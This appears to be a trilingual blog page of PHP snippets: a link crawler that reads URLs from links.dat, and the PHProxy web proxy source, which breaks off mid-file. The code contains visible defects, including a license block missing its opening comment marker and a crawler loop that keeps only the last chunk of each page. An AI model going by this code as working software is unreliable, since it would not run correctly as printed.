Scripts | Codes

All languages in three languages :-)
Showing posts with label php. Show all posts

Extrait les liens de chaque page et retrouves les liens dans ces nouvelles pages...
Il faut créer un fichiers links.dat dans le même répertoire et y mettre les liens

Extract links from each page and find the links in these news pages ...
One should create a file links.dat and put links inside

يستخرج الروابط من كل صفحة يجدها في links.dat ثم يستخرج الروابط الجديدة الموجودة في هذه الصحف 

ينبغي إنشاء ملف links.dat و وضع الروابط فيه 

Open in a new window
<?php
//################################################
// for more codes scripts-n-codes.blogspot.com
//################################################
//
// put the links to crawl in a links.dat file; you can put one site utl for example
//
$datafile = "links.dat"; // file to keep the list of links in
$regex = "/<\s*a\s+[^>]*href\s*=\s*[\"']?([^\"' >]+)[\"' >]/isU";  // regex to search for hrefs

$handle = fopen($datafile, "r"); // open the data file
$buffer = fgets($handle, 4096);
$oldlinks[] = $buffer; // read the first link into an array
while (!feof($handle)) {
 $buffer = fgets($handle, 4096);
 array_push($oldlinks,$buffer); // read the rest of the links into an array
}
fclose($handle); // close the data file

foreach($oldlinks as $value) { // for every link in the array
 print $value; // print it out
 $remote = fopen(trim($value), "r") or die(); //open it or fail nicely
 while (!feof($remote)) {
  $html = fread($remote, 8192); // read in the remote page
 }
 fclose($remote); // close it
 if (preg_match_all($regex, $html, $links)) { // if we find new links
  $local = fopen($datafile, "a+"); // open the data file
  foreach($links[1] as $value) { // for every new link
   $value.="\n"; // append a new line
   if(!in_array($value,$oldlinks)) { // if we haven't seen it before (nb - case sensitive)
    print($value); // print it out
    fwrite($local, $value); // and write it to file
   }
  }
  fclose($local); // close the data file
 }
 else {
  print("No links."); // we didn't find any links in the new file
 }
}
?>




Un proxy en PHP...
Gère les cookies, les sessions, le javascript et les téléchargements.

A PHP proxy...
Manages cookies, sessions, scripts and downloads.

بروكسي PHP

يدير الكوكيز، الدورات، الجافاسكريبت و التنزيلات  

Open in a new window
<?php
//#######################################################
// find more codes on scripts-n-codes.blogspot.com
//#######################################################
//
// this file -> index.php
//

   +-----------------+------------------------------------------------------------+
   |  Script         | PHProxy                                                    |
   |  Author         | Abdullah Arif                                              |
   |  Last Modified  | 5:27 PM 1/20/2007                                          |
   +-----------------+------------------------------------------------------------+
   |  This program is free software; you can redistribute it and/or               |
   |  modify it under the terms of the GNU General Public License                 |
   |  as published by the Free Software Foundation; either version 2              |
   |  of the License, or (at your option) any later version.                      |
   |                                                                              |
   |  This program is distributed in the hope that it will be useful,             |
   |  but WITHOUT ANY WARRANTY; without even the implied warranty of              |
   |  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the               |
   |  GNU General Public License for more details.                                |
   |                                                                              |
   |  You should have received a copy of the GNU General Public License           |
   |  along with this program; if not, write to the Free Software                 |
   |  Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA  02111-1307, USA. |
   +------------------------------------------------------------------------------+
*/

error_reporting(E_ALL);

//
// CONFIGURABLE OPTIONS
//

$_config            = array
                    (
                        'url_var_name'             => 'q',
                        'flags_var_name'           => 'hl',
                        'get_form_name'            => '____pgfa',
                        'basic_auth_var_name'      => '____pbavn',
                        'max_file_size'            => -1,
                        'allow_hotlinking'         => 0,
                        'upon_hotlink'             => 1,
                        'compress_output'          => 0
                    );
$_flags             = array
                    (
                        'include_form'    => 1, 
                        'remove_scripts'  => 1,
                        'accept_cookies'  => 1,
                        'show_images'     => 1,
                        'show_referer'    => 1,
                        'rotate13'        => 0,
                        'base64_encode'   => 1,
                        'strip_meta'      => 1,
                        'strip_title'     => 0,
                        'session_cookies' => 1
                    );
$_frozen_flags      = array
                    (
                        'include_form'    => 0, 
                        'remove_scripts'  => 0,
                        'accept_cookies'  => 0,
                        'show_images'     => 0,
                        'show_referer'    => 0,
                        'rotate13'        => 0,
                        'base64_encode'   => 0,
                        'strip_meta'      => 0,
                        'strip_title'     => 0,
                        'session_cookies' => 0
                    );                    
$_labels            = array
                    (
                        'include_form'    => array('Include Form', 'Include mini URL-form on every page'), 
                        'remove_scripts'  => array('Remove Scripts', 'Remove client-side scripting (i.e JavaScript)'), 
                        'accept_cookies'  => array('Accept Cookies', 'Allow cookies to be stored'), 
                        'show_images'     => array('Show Images', 'Show images on browsed pages'), 
                        'show_referer'    => array('Show Referer', 'Show actual referring Website'), 
                        'rotate13'        => array('Rotate13', 'Use ROT13 encoding on the address'), 
                        'base64_encode'   => array('Base64', 'Use base64 encodng on the address'), 
                        'strip_meta'      => array('Strip Meta', 'Strip meta information tags from pages'), 
                        'strip_title'     => array('Strip Title', 'Strip page title'), 
                        'session_cookies' => array('Session Cookies', 'Store cookies for this session only') 
                    );
                    
$_hosts             = array
                    (
                        '#^127\.|192\.168\.|10\.|172\.(1[6-9]|2[0-9]|3[01])\.|localhost#i'
                    );
$_hotlink_domains   = array();
$_insert            = array();

//
// END CONFIGURABLE OPTIONS. The ride for you ends here. Close the file.
//

$_iflags            = '';
$_system            = array
                    (
                        'ssl'          => extension_loaded('openssl') && version_compare(PHP_VERSION, '4.3.0', '>='),
                        'uploads'      => ini_get('file_uploads'),
                        'gzip'         => extension_loaded('zlib') && !ini_get('zlib.output_compression'),
                        'stripslashes' => get_magic_quotes_gpc()
                    );
$_proxify           = array('text/html' => 1, 'application/xml+xhtml' => 1, 'application/xhtml+xml' => 1, 'text/css' => 1);
$_version           = '0.5b2';
$_http_host         = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : (isset($_SERVER['SERVER_NAME']) ? $_SERVER['SERVER_NAME'] : 'localhost');
$_script_url        = 'http' . ((isset($_ENV['HTTPS']) && $_ENV['HTTPS'] == 'on') || $_SERVER['SERVER_PORT'] == 443 ? 's' : '') . '://' . $_http_host . ($_SERVER['SERVER_PORT'] != 80 && $_SERVER['SERVER_PORT'] != 443 ? ':' . $_SERVER['SERVER_PORT'] : '') . $_SERVER['PHP_SELF'];
$_script_base       = substr($_script_url, 0, strrpos($_script_url, '/')+1);
$_url               = '';
$_url_parts         = array();
$_base              = array();
$_socket            = null;
$_request_method    = $_SERVER['REQUEST_METHOD'];
$_request_headers   = '';
$_cookie            = '';
$_post_body         = '';
$_response_headers  = array();
$_response_keys     = array();  
$_http_version      = '';
$_response_code     = 0;
$_content_type      = 'text/html';
$_content_length    = false;
$_content_disp      = '';
$_set_cookie        = array();
$_retry             = false;
$_quit              = false;
$_basic_auth_header = '';
$_basic_auth_realm  = '';
$_auth_creds        = array();
$_response_body     = '';

//
// FUNCTION DECLARATIONS
//

function show_report($data)
{    
    include $data['which'] . '.inc.php';
    exit(0);
}

function add_cookie($name, $value, $expires = 0)
{
    return rawurlencode(rawurlencode($name)) . '=' . rawurlencode(rawurlencode($value)) . (empty($expires) ? '' : '; expires=' . gmdate('D, d-M-Y H:i:s \G\M\T', $expires)) . '; path=/; domain=.' . $GLOBALS['_http_host'];
}

function set_post_vars($array, $parent_key = null)
{
    $temp = array();

    foreach ($array as $key => $value)
    {
        $key = isset($parent_key) ? sprintf('%s[%s]', $parent_key, urlencode($key)) : urlencode($key);
        if (is_array($value))
        {
            $temp = array_merge($temp, set_post_vars($value, $key));
        }
        else
        {
            $temp[$key] = urlencode($value);
        }
    }
    
    return $temp;
}

function set_post_files($array, $parent_key = null)
{
    $temp = array();

    foreach ($array as $key => $value)
    {
        $key = isset($parent_key) ? sprintf('%s[%s]', $parent_key, urlencode($key)) : urlencode($key);
        if (is_array($value))
        {
            $temp = array_merge_recursive($temp, set_post_files($value, $key));
        }
        else if (preg_match('#^([^\[\]]+)\[(name|type|tmp_name)\]#', $key, $m))
        {
            $temp[str_replace($m[0], $m[1], $key)][$m[2]] = $value;
        }
    }

    return $temp;
}

function url_parse($url, & $container)
{
    $temp = @parse_url($url);

    if (!empty($temp))
    {
        $temp['port_ext'] = '';
        $temp['base']     = $temp['scheme'] . '://' . $temp['host'];

        if (isset($temp['port']))
        {
            $temp['base'] .= $temp['port_ext'] = ':' . $temp['port'];
        }
        else
        {
            $temp['port'] = $temp['scheme'] === 'https' ? 443 : 80;
        }
        
        $temp['path'] = isset($temp['path']) ? $temp['path'] : '/';
        $path         = array();
        $temp['path'] = explode('/', $temp['path']);
    
        foreach ($temp['path'] as $dir)
        {
            if ($dir === '..')
            {
                array_pop($path);
            }
            else if ($dir !== '.')
            {
                for ($dir = rawurldecode($dir), $new_dir = '', $i = 0, $count_i = strlen($dir); $i < $count_i; $new_dir .= strspn($dir{$i}, 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789$-_.+!*\'(),?:@&;=') ? $dir{$i} : rawurlencode($dir{$i}), ++$i);
                $path[] = $new_dir;
            }
        }

        $temp['path']     = str_replace('/%7E', '/~', '/' . ltrim(implode('/', $path), '/'));
        $temp['file']     = substr($temp['path'], strrpos($temp['path'], '/')+1);
        $temp['dir']      = substr($temp['path'], 0, strrpos($temp['path'], '/'));
        $temp['base']    .= $temp['dir'];
        $temp['prev_dir'] = substr_count($temp['path'], '/') > 1 ? substr($temp['base'], 0, strrpos($temp['base'], '/')+1) : $temp['base'] . '/';
        $container = $temp;

        return true;
    }
    
    return false;
}

function complete_url($url, $proxify = true)
{
    $url = trim($url);
    
    if ($url === '')
    {
        return '';
    }
    
    $hash_pos = strrpos($url, '#');
    $fragment = $hash_pos !== false ? '#' . substr($url, $hash_pos) : '';
    $sep_pos  = strpos($url, '://');
    
    if ($sep_pos === false || $sep_pos > 5)
    {
        switch ($url{0})
        {
            case '/':
                $url = substr($url, 0, 2) === '//' ? $GLOBALS['_base']['scheme'] . ':' . $url : $GLOBALS['_base']['scheme'] . '://' . $GLOBALS['_base']['host'] . $GLOBALS['_base']['port_ext'] . $url;
                break;
            case '?':
                $url = $GLOBALS['_base']['base'] . '/' . $GLOBALS['_base']['file'] . $url;
                break;
            case '#':
                $proxify = false;
                break;
            case 'm':
                if (substr($url, 0, 7) == 'mailto:')
                {
                    $proxify = false;
                    break;
                }
            default:
                $url = $GLOBALS['_base']['base'] . '/' . $url;
        }
    }

    return $proxify ? "{$GLOBALS['_script_url']}?{$GLOBALS['_config']['url_var_name']}=" . encode_url($url) . $fragment : $url;
}

function proxify_inline_css($css)
{
    preg_match_all('#url\s*\(\s*(([^)]*(\\\))*[^)]*)(\)|$)?#i', $css, $matches, PREG_SET_ORDER);

    for ($i = 0, $count = count($matches); $i < $count; ++$i)
    {
        $css = str_replace($matches[$i][0], 'url(' . proxify_css_url($matches[$i][1]) . ')', $css);
    }
    
    return $css;
}

function proxify_css($css)
{
    $css = proxify_inline_css($css);

    preg_match_all("#@import\s*(?:\"([^\">]*)\"?|'([^'>]*)'?)([^;]*)(;|$)#i", $css, $matches, PREG_SET_ORDER);

    for ($i = 0, $count = count($matches); $i < $count; ++$i)
    {
        $delim = '"';
        $url   = $matches[$i][2];

        if (isset($matches[$i][3]))
        {
            $delim = "'";
            $url = $matches[$i][3];
        }

        $css = str_replace($matches[$i][0], '@import ' . $delim . proxify_css_url($matches[$i][1]) . $delim . (isset($matches[$i][4]) ? $matches[$i][4] : ''), $css);
    }

    return $css;
}

function proxify_css_url($url)
{
    $url   = trim($url);
    $delim = strpos($url, '"') === 0 ? '"' : (strpos($url, "'") === 0 ? "'" : '');

    return $delim . preg_replace('#([\(\),\s\'"\\\])#', '\\$1', complete_url(trim(preg_replace('#\\\(.)#', '$1', trim($url, $delim))))) . $delim;
}

//
// SET FLAGS
//

if (isset($_POST[$_config['url_var_name']]) && !isset($_GET[$_config['url_var_name']]) && isset($_POST[$_config['flags_var_name']]))
{    
    foreach ($_flags as $flag_name => $flag_value)
    {
        $_iflags .= isset($_POST[$_config['flags_var_name']][$flag_name]) ? (string)(int)(bool)$_POST[$_config['flags_var_name']][$flag_name] : ($_frozen_flags[$flag_name] ? $flag_value : '0');
    }
    
    $_iflags = base_convert(($_iflags != '' ? $_iflags : '0'), 2, 16);
}
else if (isset($_GET[$_config['flags_var_name']]) && !isset($_GET[$_config['get_form_name']]) && ctype_alnum($_GET[$_config['flags_var_name']]))
{
    $_iflags = $_GET[$_config['flags_var_name']];
}
else if (isset($_COOKIE['flags']) && ctype_alnum($_COOKIE['flags']))
{
    $_iflags = $_COOKIE['flags'];
}

if ($_iflags !== '')
{
    $_set_cookie[] = add_cookie('flags', $_iflags, time()+2419200);
    $_iflags = str_pad(base_convert($_iflags, 16, 2), count($_flags), '0', STR_PAD_LEFT);
    $i = 0;

    foreach ($_flags as $flag_name => $flag_value)
    {
        $_flags[$flag_name] = $_frozen_flags[$flag_name] ? $flag_value : (int)(bool)$_iflags{$i};
        $i++;
    }
}

//
// DETERMINE URL-ENCODING BASED ON FLAGS
//

if ($_flags['rotate13'])
{
    function encode_url($url)
    {
        return rawurlencode(str_rot13($url));
    }
    function decode_url($url)
    {
        return str_replace(array('&', '&'), '&', str_rot13(rawurldecode($url)));
    }
}
else if ($_flags['base64_encode'])
{
    function encode_url($url)
    {
        return rawurlencode(base64_encode($url));
    }
    function decode_url($url)
    {
        return str_replace(array('&', '&'), '&', base64_decode(rawurldecode($url)));
    }
}
else
{
    function encode_url($url)
    {
        return rawurlencode($url);
    }
    function decode_url($url)
    {
        return str_replace(array('&', '&'), '&', rawurldecode($url));
    }
}

//
// COMPRESS OUTPUT IF INSTRUCTED
//

if ($_config['compress_output'] && $_system['gzip'])
{
    ob_start('ob_gzhandler');
}

//
// STRIP SLASHES FROM GPC IF NECESSARY
//

if ($_system['stripslashes'])
{
    function _stripslashes($value)
    {
        return is_array($value) ? array_map('_stripslashes', $value) : (is_string($value) ? stripslashes($value) : $value);
    }
    
    $_GET    = _stripslashes($_GET);
    $_POST   = _stripslashes($_POST);
    $_COOKIE = _stripslashes($_COOKIE);
}

//
// FIGURE OUT WHAT TO DO (POST URL-form submit, GET form request, regular request, basic auth, cookie manager, show URL-form)
//

if (isset($_POST[$_config['url_var_name']]) && !isset($_GET[$_config['url_var_name']]))
{   
    header('Location: ' . $_script_url . '?' . $_config['url_var_name'] . '=' . encode_url($_POST[$_config['url_var_name']]) . '&' . $_config['flags_var_name'] . '=' . base_convert($_iflags, 2, 16));
    exit(0);
}

if (isset($_GET[$_config['get_form_name']]))
{
    $_url  = decode_url($_GET[$_config['get_form_name']]);
    $qstr = strpos($_url, '?') !== false ? (strpos($_url, '?') === strlen($_url)-1 ? '' : '&') : '?';
    $arr  = explode('&', $_SERVER['QUERY_STRING']);
    
    if (preg_match('#^\Q' . $_config['get_form_name'] . '\E#', $arr[0]))
    {
        array_shift($arr);
    }
    
    $_url .= $qstr . implode('&', $arr);
}
else if (isset($_GET[$_config['url_var_name']]))
{
    $_url = decode_url($_GET[$_config['url_var_name']]);
}
else if (isset($_GET['action']) && $_GET['action'] == 'cookies')
{
    show_report(array('which' => 'cookies'));
}
else
{
    show_report(array('which' => 'index', 'category' => 'entry_form'));
}

if (isset($_GET[$_config['url_var_name']], $_POST[$_config['basic_auth_var_name']], $_POST['username'], $_POST['password']))
{
    $_request_method    = 'GET';
    $_basic_auth_realm  = base64_decode($_POST[$_config['basic_auth_var_name']]);
    $_basic_auth_header = base64_encode($_POST['username'] . ':' . $_POST['password']);
}

//
// SET URL
//

if (strpos($_url, '://') === false)
{
    $_url = 'http://' . $_url;
}

if (url_parse($_url, $_url_parts))
{
    $_base = $_url_parts;
    
    if (!empty($_hosts))
    {
        foreach ($_hosts as $host)
        {
            if (preg_match($host, $_url_parts['host']))
            {
                show_report(array('which' => 'index', 'category' => 'error', 'group' => 'url', 'type' => 'external', 'error' => 1));
            }
        }
    }
}
else
{
    show_report(array('which' => 'index', 'category' => 'error', 'group' => 'url', 'type' => 'external', 'error' => 2));
}

//
// HOTLINKING PREVENTION
//

if (!$_config['allow_hotlinking'] && isset($_SERVER['HTTP_REFERER']))
{
    $_hotlink_domains[] = $_http_host;
    $is_hotlinking      = true;
    
    foreach ($_hotlink_domains as $host)
    {
        if (preg_match('#^https?\:\/\/(www)?\Q' . $host  . '\E(\/|\:|$)#i', trim($_SERVER['HTTP_REFERER'])))
        {
            $is_hotlinking = false;
            break;
        }
    }
    
    if ($is_hotlinking)
    {
        switch ($_config['upon_hotlink'])
        {
            case 1:
                show_report(array('which' => 'index', 'category' => 'error', 'group' => 'resource', 'type' => 'hotlinking'));
                break;
            case 2:
                header('HTTP/1.0 404 Not Found');
                exit(0);
            default:
                header('Location: ' . $_config['upon_hotlink']);
                exit(0);
        }
    }
}
 
//
// OPEN SOCKET TO SERVER
//

do
{
    $_retry  = false;
    $_socket = @fsockopen(($_url_parts['scheme'] === 'https' && $_system['ssl'] ? 'ssl://' : 'tcp://') . $_url_parts['host'], $_url_parts['port'], $err_no, $err_str, 30);

    if ($_socket === false)
    {
        show_report(array('which' => 'index', 'category' => 'error', 'group' => 'url', 'type' => 'internal', 'error' => $err_no));
    }

    //
    // SET REQUEST HEADERS
    //

    $_request_headers  = $_request_method . ' ' . $_url_parts['path'];

    if (isset($_url_parts['query']))
    {
        $_request_headers .= '?';
        $query = preg_split('#([&;])#', $_url_parts['query'], -1, PREG_SPLIT_DELIM_CAPTURE);
        for ($i = 0, $count = count($query); $i < $count; $_request_headers .= implode('=', array_map('urlencode', array_map('urldecode', explode('=', $query[$i])))) . (isset($query[++$i]) ? $query[$i] : ''), $i++);
    }

    $_request_headers .= " HTTP/1.0\r\n";
    $_request_headers .= 'Host: ' . $_url_parts['host'] . $_url_parts['port_ext'] . "\r\n";

    if (isset($_SERVER['HTTP_USER_AGENT']))
    {
        $_request_headers .= 'User-Agent: ' . $_SERVER['HTTP_USER_AGENT'] . "\r\n";
    }
    if (isset($_SERVER['HTTP_ACCEPT']))
    {
        $_request_headers .= 'Accept: ' . $_SERVER['HTTP_ACCEPT'] . "\r\n";
    }
    else
    {
        $_request_headers .= "Accept: */*;q=0.1\r\n";
    }
    if ($_flags['show_referer'] && isset($_SERVER['HTTP_REFERER']) && preg_match('#^\Q' . $_script_url . '?' . $_config['url_var_name'] . '=\E([^&]+)#', $_SERVER['HTTP_REFERER'], $matches))
    {
        $_request_headers .= 'Referer: ' . decode_url($matches[1]) . "\r\n";
    }
    if (!empty($_COOKIE))
    {
        $_cookie  = '';
        $_auth_creds    = array();
    
        foreach ($_COOKIE as $cookie_id => $cookie_content)
        {
            $cookie_id      = explode(';', rawurldecode($cookie_id));
            $cookie_content = explode(';', rawurldecode($cookie_content));
    
            if ($cookie_id[0] === 'COOKIE')
            {
                $cookie_id[3] = str_replace('_', '.', $cookie_id[3]); //stupid PHP can't have dots in var names

                if (count($cookie_id) < 4 || ($cookie_content[1] == 'secure' && $_url_parts['scheme'] != 'https'))
                {
                    continue;
                }
    
                if ((preg_match('#\Q' . $cookie_id[3] . '\E$#i', $_url_parts['host']) || strtolower($cookie_id[3]) == strtolower('.' . $_url_parts['host'])) && preg_match('#^\Q' . $cookie_id[2] . '\E#', $_url_parts['path']))
                {
                    $_cookie .= ($_cookie != '' ? '; ' : '') . (empty($cookie_id[1]) ? '' : $cookie_id[1] . '=') . $cookie_content[0];
                }
            }
            else if ($cookie_id[0] === 'AUTH' && count($cookie_id) === 3)
            {
                $cookie_id[2] = str_replace('_', '.', $cookie_id[2]);

                if ($_url_parts['host'] . ':' . $_url_parts['port'] === $cookie_id[2])
                {
                    $_auth_creds[$cookie_id[1]] = $cookie_content[0];
                }
            }
        }
        
        if ($_cookie != '')
        {
            $_request_headers .= "Cookie: $_cookie\r\n";
        }
    }
    if (isset($_url_parts['user'], $_url_parts['pass']))
    {
        $_basic_auth_header = base64_encode($_url_parts['user'] . ':' . $_url_parts['pass']);
    }
    if (!empty($_basic_auth_header))
    {
        $_set_cookie[] = add_cookie("AUTH;{$_basic_auth_realm};{$_url_parts['host']}:{$_url_parts['port']}", $_basic_auth_header);
        $_request_headers .= "Authorization: Basic {$_basic_auth_header}\r\n";
    }
    else if (!empty($_basic_auth_realm) && isset($_auth_creds[$_basic_auth_realm]))
    {
        $_request_headers  .= "Authorization: Basic {$_auth_creds[$_basic_auth_realm]}\r\n";
    }
    else if (list($_basic_auth_realm, $_basic_auth_header) = each($_auth_creds))
    {
        $_request_headers .= "Authorization: Basic {$_basic_auth_header}\r\n";
    }
    if ($_request_method == 'POST')
    {   
        if (!empty($_FILES) && $_system['uploads'])
        {
            $_data_boundary = '----' . md5(uniqid(rand(), true));
            $array = set_post_vars($_POST);
    
            foreach ($array as $key => $value)
            {
                $_post_body .= "--{$_data_boundary}\r\n";
                $_post_body .= "Content-Disposition: form-data; name=\"$key\"\r\n\r\n";
                $_post_body .= urldecode($value) . "\r\n";
            }
            
            $array = set_post_files($_FILES);
    
            foreach ($array as $key => $file_info)
            {
                $_post_body .= "--{$_data_boundary}\r\n";
                $_post_body .= "Content-Disposition: form-data; name=\"$key\"; filename=\"{$file_info['name']}\"\r\n";
                $_post_body .= 'Content-Type: ' . (empty($file_info['type']) ? 'application/octet-stream' : $file_info['type']) . "\r\n\r\n";
    
                if (is_readable($file_info['tmp_name']))
                {
                    $handle = fopen($file_info['tmp_name'], 'rb');
                    $_post_body .= fread($handle, filesize($file_info['tmp_name']));
                    fclose($handle);
                }
                
                $_post_body .= "\r\n";
            }
            
            $_post_body       .= "--{$_data_boundary}--\r\n";
            $_request_headers .= "Content-Type: multipart/form-data; boundary={$_data_boundary}\r\n";
            $_request_headers .= "Content-Length: " . strlen($_post_body) . "\r\n\r\n";
            $_request_headers .= $_post_body;
        }
        else
        {
            $array = set_post_vars($_POST);
            
            foreach ($array as $key => $value)
            {
                $_post_body .= !empty($_post_body) ? '&' : '';
                $_post_body .= $key . '=' . $value;
            }
            $_request_headers .= "Content-Type: application/x-www-form-urlencoded\r\n";
            $_request_headers .= "Content-Length: " . strlen($_post_body) . "\r\n\r\n";
            $_request_headers .= $_post_body;
            $_request_headers .= "\r\n";
        }
        
        $_post_body = '';
    }
    else
    {
        $_request_headers .= "\r\n";
    }

    fwrite($_socket, $_request_headers);
    
    //
    // PROCESS RESPONSE HEADERS
    //
    
    $_response_headers = $_response_keys = array();
    
    $line = fgets($_socket, 8192);
    
    while (strspn($line, "\r\n") !== strlen($line))
    {
        @list($name, $value) = explode(':', $line, 2);
        $name = trim($name);
        $_response_headers[strtolower($name)][] = trim($value);
        $_response_keys[strtolower($name)] = $name;
        $line = fgets($_socket, 8192);
    }
    
    sscanf(current($_response_keys), '%s %s', $_http_version, $_response_code);
    
    if (isset($_response_headers['content-type']))
    {
        list($_content_type, ) = explode(';', str_replace(' ', '', strtolower($_response_headers['content-type'][0])), 2);
    }
    if (isset($_response_headers['content-length']))
    {
        $_content_length = $_response_headers['content-length'][0];
        unset($_response_headers['content-length'], $_response_keys['content-length']);
    }
    if (isset($_response_headers['content-disposition']))
    {
        $_content_disp = $_response_headers['content-disposition'][0];
        unset($_response_headers['content-disposition'], $_response_keys['content-disposition']);
    }
    if (isset($_response_headers['set-cookie']) && $_flags['accept_cookies'])
    {
        foreach ($_response_headers['set-cookie'] as $cookie)
        {
            $name = $value = $expires = $path = $domain = $secure = $expires_time = '';

            preg_match('#^\s*([^=;,\s]*)\s*=?\s*([^;]*)#',  $cookie, $match) && list(, $name, $value) = $match;
            preg_match('#;\s*expires\s*=\s*([^;]*)#i',      $cookie, $match) && list(, $expires)      = $match;
            preg_match('#;\s*path\s*=\s*([^;,\s]*)#i',      $cookie, $match) && list(, $path)         = $match;
            preg_match('#;\s*domain\s*=\s*([^;,\s]*)#i',    $cookie, $match) && list(, $domain)       = $match;
            preg_match('#;\s*(secure\b)#i',                 $cookie, $match) && list(, $secure)       = $match;
    
            $expires_time = empty($expires) ? 0 : intval(@strtotime($expires));
            $expires = ($_flags['session_cookies'] && !empty($expires) && time()-$expires_time < 0) ? '' : $expires;
            $path    = empty($path)   ? '/' : $path;
                
            if (empty($domain))
            {
                $domain = $_url_parts['host'];
            }
            else
            {
                $domain = '.' . strtolower(str_replace('..', '.', trim($domain, '.')));
    
                if ((!preg_match('#\Q' . $domain . '\E$#i', $_url_parts['host']) && $domain != '.' . $_url_parts['host']) || (substr_count($domain, '.') < 2 && $domain{0} == '.'))
                {
                    continue;
                }
            }
            if (count($_COOKIE) >= 15 && time()-$expires_time <= 0)
            {
                $_set_cookie[] = add_cookie(current($_COOKIE), '', 1);
            }
            
            $_set_cookie[] = add_cookie("COOKIE;$name;$path;$domain", "$value;$secure", $expires_time);
        }
    }
    if (isset($_response_headers['set-cookie']))
    {
        unset($_response_headers['set-cookie'], $_response_keys['set-cookie']);
    }
    if (!empty($_set_cookie))
    {
        $_response_keys['set-cookie'] = 'Set-Cookie';
        $_response_headers['set-cookie'] = $_set_cookie;
    }
    if (isset($_response_headers['p3p']) && preg_match('#policyref\s*=\s*[\'"]?([^\'"\s]*)[\'"]?#i', $_response_headers['p3p'][0], $matches))
    {
        $_response_headers['p3p'][0] = str_replace($matches[0], 'policyref="' . complete_url($matches[1]) . '"', $_response_headers['p3p'][0]);
    }
    if (isset($_response_headers['refresh']) && preg_match('#([0-9\s]*;\s*URL\s*=)\s*(\S*)#i', $_response_headers['refresh'][0], $matches))
    {
        $_response_headers['refresh'][0] = $matches[1] . complete_url($matches[2]);
    }
    if (isset($_response_headers['location']))
    {   
        $_response_headers['location'][0] = complete_url($_response_headers['location'][0]);
    }
    if (isset($_response_headers['uri']))
    {   
        $_response_headers['uri'][0] = complete_url($_response_headers['uri'][0]);
    }
    if (isset($_response_headers['content-location']))
    {   
        $_response_headers['content-location'][0] = complete_url($_response_headers['content-location'][0]);
    }
    if (isset($_response_headers['connection']))
    {
        unset($_response_headers['connection'], $_response_keys['connection']);
    }
    if (isset($_response_headers['keep-alive']))
    {
        unset($_response_headers['keep-alive'], $_response_keys['keep-alive']);
    }
    if ($_response_code == 401 && isset($_response_headers['www-authenticate']) && preg_match('#basic\s+(?:realm="(.*?)")?#i', $_response_headers['www-authenticate'][0], $matches))
    {
        if (isset($_auth_creds[$matches[1]]) && !$_quit)
        {
            $_basic_auth_realm  = $matches[1];
            $_basic_auth_header = '';
            $_retry = $_quit = true;
        }
        else
        {
            show_report(array('which' => 'index', 'category' => 'auth', 'realm' => $matches[1]));
        }
    }
}
while ($_retry);

//
// OUTPUT RESPONSE IF NO PROXIFICATION IS NEEDED
//  

if (!isset($_proxify[$_content_type]))
{
    @set_time_limit(0);
   
    $_response_keys['content-disposition'] = 'Content-Disposition';
    $_response_headers['content-disposition'][0] = empty($_content_disp) ? ($_content_type == 'application/octet_stream' ? 'attachment' : 'inline') . '; filename="' . $_url_parts['file'] . '"' : $_content_disp;
    
    if ($_content_length !== false)
    {
        if ($_config['max_file_size'] != -1 && $_content_length > $_config['max_file_size'])
        {
            show_report(array('which' => 'index', 'category' => 'error', 'group' => 'resource', 'type' => 'file_size'));
        }
        
        $_response_keys['content-length'] = 'Content-Length';
        $_response_headers['content-length'][0] = $_content_length;
    }
    
    $_response_headers   = array_filter($_response_headers);
    $_response_keys      = array_filter($_response_keys);
    
    header(array_shift($_response_keys));
    array_shift($_response_headers);
    
    foreach ($_response_headers as $name => $array)
    {
        foreach ($array as $value)
        {
            header($_response_keys[$name] . ': ' . $value, false);
        }
    }
        
    do
    {
        $data = fread($_socket, 8192);
        echo $data;
    }
    while (isset($data{0}));
        
    fclose($_socket);
    exit(0);
}

do
{
    $data = @fread($_socket, 8192); // silenced to avoid the "normal" warning by a faulty SSL connection
    $_response_body .= $data;
}   
while (isset($data{0}));
   
unset($data);
fclose($_socket);

//
// MODIFY AND DUMP RESOURCE
//

if ($_content_type == 'text/css')
{
    $_response_body = proxify_css($_response_body);
}
else
{
    if ($_flags['strip_title'])
    {
        $_response_body = preg_replace('#(<\s*title[^>]*>)(.*?)(<\s*/title[^>]*>)#is', '$1$3', $_response_body);
    }
    if ($_flags['remove_scripts'])
    {
        $_response_body = preg_replace('#<\s*script[^>]*?>.*?<\s*/\s*script\s*>#si', '', $_response_body);
        $_response_body = preg_replace("#(\bon[a-z]+)\s*=\s*(?:\"([^\"]*)\"?|'([^']*)'?|([^'\"\s>]*))?#i", '', $_response_body);
        $_response_body = preg_replace('#<noscript>(.*?)</noscript>#si', "$1", $_response_body);
    }
    if (!$_flags['show_images'])
    {
        $_response_body = preg_replace('#<(img|image)[^>]*?>#si', '', $_response_body);
    }
    
    //
    // PROXIFY HTML RESOURCE
    //
    
    $tags = array
    (
        'a'          => array('href'),
        'img'        => array('src', 'longdesc'),
        'image'      => array('src', 'longdesc'),
        'body'       => array('background'),
        'base'       => array('href'),
        'frame'      => array('src', 'longdesc'),
        'iframe'     => array('src', 'longdesc'),
        'head'       => array('profile'),
        'layer'      => array('src'),
        'input'      => array('src', 'usemap'),
        'form'       => array('action'),
        'area'       => array('href'),
        'link'       => array('href', 'src', 'urn'),
        'meta'       => array('content'),
        'param'      => array('value'),
        'applet'     => array('codebase', 'code', 'object', 'archive'),
        'object'     => array('usermap', 'codebase', 'classid', 'archive', 'data'),
        'script'     => array('src'),
        'select'     => array('src'),
        'hr'         => array('src'),
        'table'      => array('background'),
        'tr'         => array('background'),
        'th'         => array('background'),
        'td'         => array('background'),
        'bgsound'    => array('src'),
        'blockquote' => array('cite'),
        'del'        => array('cite'),
        'embed'      => array('src'),
        'fig'        => array('src', 'imagemap'),
        'ilayer'     => array('src'),
        'ins'        => array('cite'),
        'note'       => array('src'),
        'overlay'    => array('src', 'imagemap'),
        'q'          => array('cite'),
        'ul'         => array('src')
    );

    preg_match_all('#(<\s*style[^>]*>)(.*?)(<\s*/\s*style[^>]*>)#is', $_response_body, $matches, PREG_SET_ORDER);

    for ($i = 0, $count_i = count($matches); $i < $count_i; ++$i)
    {
        $_response_body = str_replace($matches[$i][0], $matches[$i][1]. proxify_css($matches[$i][2]) .$matches[$i][3], $_response_body);
    }

